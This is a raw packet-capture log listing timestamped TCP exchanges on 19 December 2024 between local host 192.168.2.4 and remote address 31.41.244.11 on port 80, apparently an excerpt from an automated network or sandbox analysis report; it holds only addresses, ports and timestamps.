Dec 19, 2024 20:11:13.965240955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.965313911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.965400934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.965574026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.966306925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.966383934 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.966423035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.966492891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.967391014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.967504025 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.967530012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.967581034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.968455076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.968529940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.968611002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.968672037 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.969536066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.969659090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.969670057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.969718933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.970628023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.970745087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.970788002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.970788002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.971550941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.971620083 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.971760988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.971838951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.972496033 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.972579956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.972621918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.972702026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.973423004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.973501921 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.973522902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.973593950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.974409103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.974493027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.974731922 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.974812031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.975450039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.975518942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.975528002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.975601912 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.976561069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.976629972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.976650953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.976697922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.977533102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.977606058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.977667093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.977729082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.978728056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.978786945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.978822947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.978880882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.979651928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.979717016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.979947090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.980051041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.980758905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.980839014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.980845928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.980937958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.981748104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.981832981 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.981890917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.981944084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.982912064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.982988119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.983006954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.983067036 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.983901024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.984031916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.984059095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.984118938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.984920979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.984992027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.985006094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.985119104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.986018896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.986105919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.986510038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.986573935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.987025976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.987111092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.987247944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.987337112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.988097906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.988198996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.988872051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.988951921 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.989197016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.989295959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.989310980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.989358902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.990179062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.990283966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.990358114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.990456104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.991247892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.991261959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.991336107 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.991336107 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.992284060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.992291927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.992357016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.993319988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.993403912 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.993454933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.993513107 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.994374037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.994523048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.995028019 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.995083094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.995424032 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.995546103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.995564938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.995598078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.996529102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.996598005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.996690989 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.996746063 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.997524977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.997594118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.997627020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.997703075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.998605967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.998663902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.998832941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.998979092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.999728918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.999835968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.999845982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.999944925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.000736952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.000813961 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.000838041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.000953913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.001718044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.001807928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.001941919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.001993895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.002825975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.002891064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.002909899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.002973080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.003904104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.003993034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.004003048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.004156113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.004935026 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.005037069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.005085945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.005956888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.006046057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.006047010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.006458998 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.007020950 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.007114887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.007270098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.008009911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.008203983 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.008292913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.009130955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.009226084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.009228945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.009316921 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.010154009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.010216951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.010349035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.010474920 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.011221886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.011276007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.011351109 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.011482954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.012435913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.012548923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.013433933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.013556004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.013668060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.013678074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.013760090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.014466047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.014739990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.014873981 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.015418053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.015487909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.015533924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.016534090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.016716957 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.016741037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.017534018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.017606974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.154381990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.154489040 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.154498100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.154697895 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.154737949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.154828072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.155144930 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.155755997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.155864000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.155901909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.155951977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.156800985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.156934023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.156964064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.157119036 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.157885075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.157994032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.158042908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.158130884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.158895969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.159225941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.159293890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.159949064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.160481930 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.160557032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.161039114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.161046028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.161091089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.162081003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.162410021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.162870884 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.163110018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.163182020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.163520098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.163898945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.164155006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.164314985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.164370060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.164464951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.165326118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.165584087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.166008949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.166166067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.166300058 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.166307926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.166452885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.167336941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.167697906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.167701006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.167785883 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.168417931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.168486118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.168581009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.169465065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.169562101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.169606924 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.170459032 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.170607090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.170672894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.171547890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.171793938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.171876907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.172569036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.172750950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.173130035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.173671961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.173680067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.173724890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.174653053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.174819946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.175157070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.175717115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.175893068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.175966978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.176788092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.176855087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.176968098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.177316904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.177906036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.178044081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.178137064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.178879976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.179085970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.179275036 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.179958105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.180422068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.180478096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.181019068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.181375980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.181477070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.182043076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.183159113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.183171034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.183307886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.183347940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.184163094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.184215069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.185220957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.185230017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.185278893 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.185396910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.186258078 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.186510086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.186691999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.187330961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.187395096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.187573910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.188374996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.188545942 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.188597918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.189435959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.189693928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.189810991 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.190522909 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.190633059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.190962076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.191142082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.191524029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.191595078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.192007065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.192297935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.192627907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.192635059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.192708015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.193638086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.193773031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.193840981 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.194715977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.194958925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.195111990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.195739031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.195923090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.196033955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.196860075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.196867943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.196937084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.197859049 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.197977066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.198384047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.198880911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.199060917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.199264050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.199995041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.200057983 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.200133085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.201023102 CET	80	49768	31.41.244.11	192.168.2.4
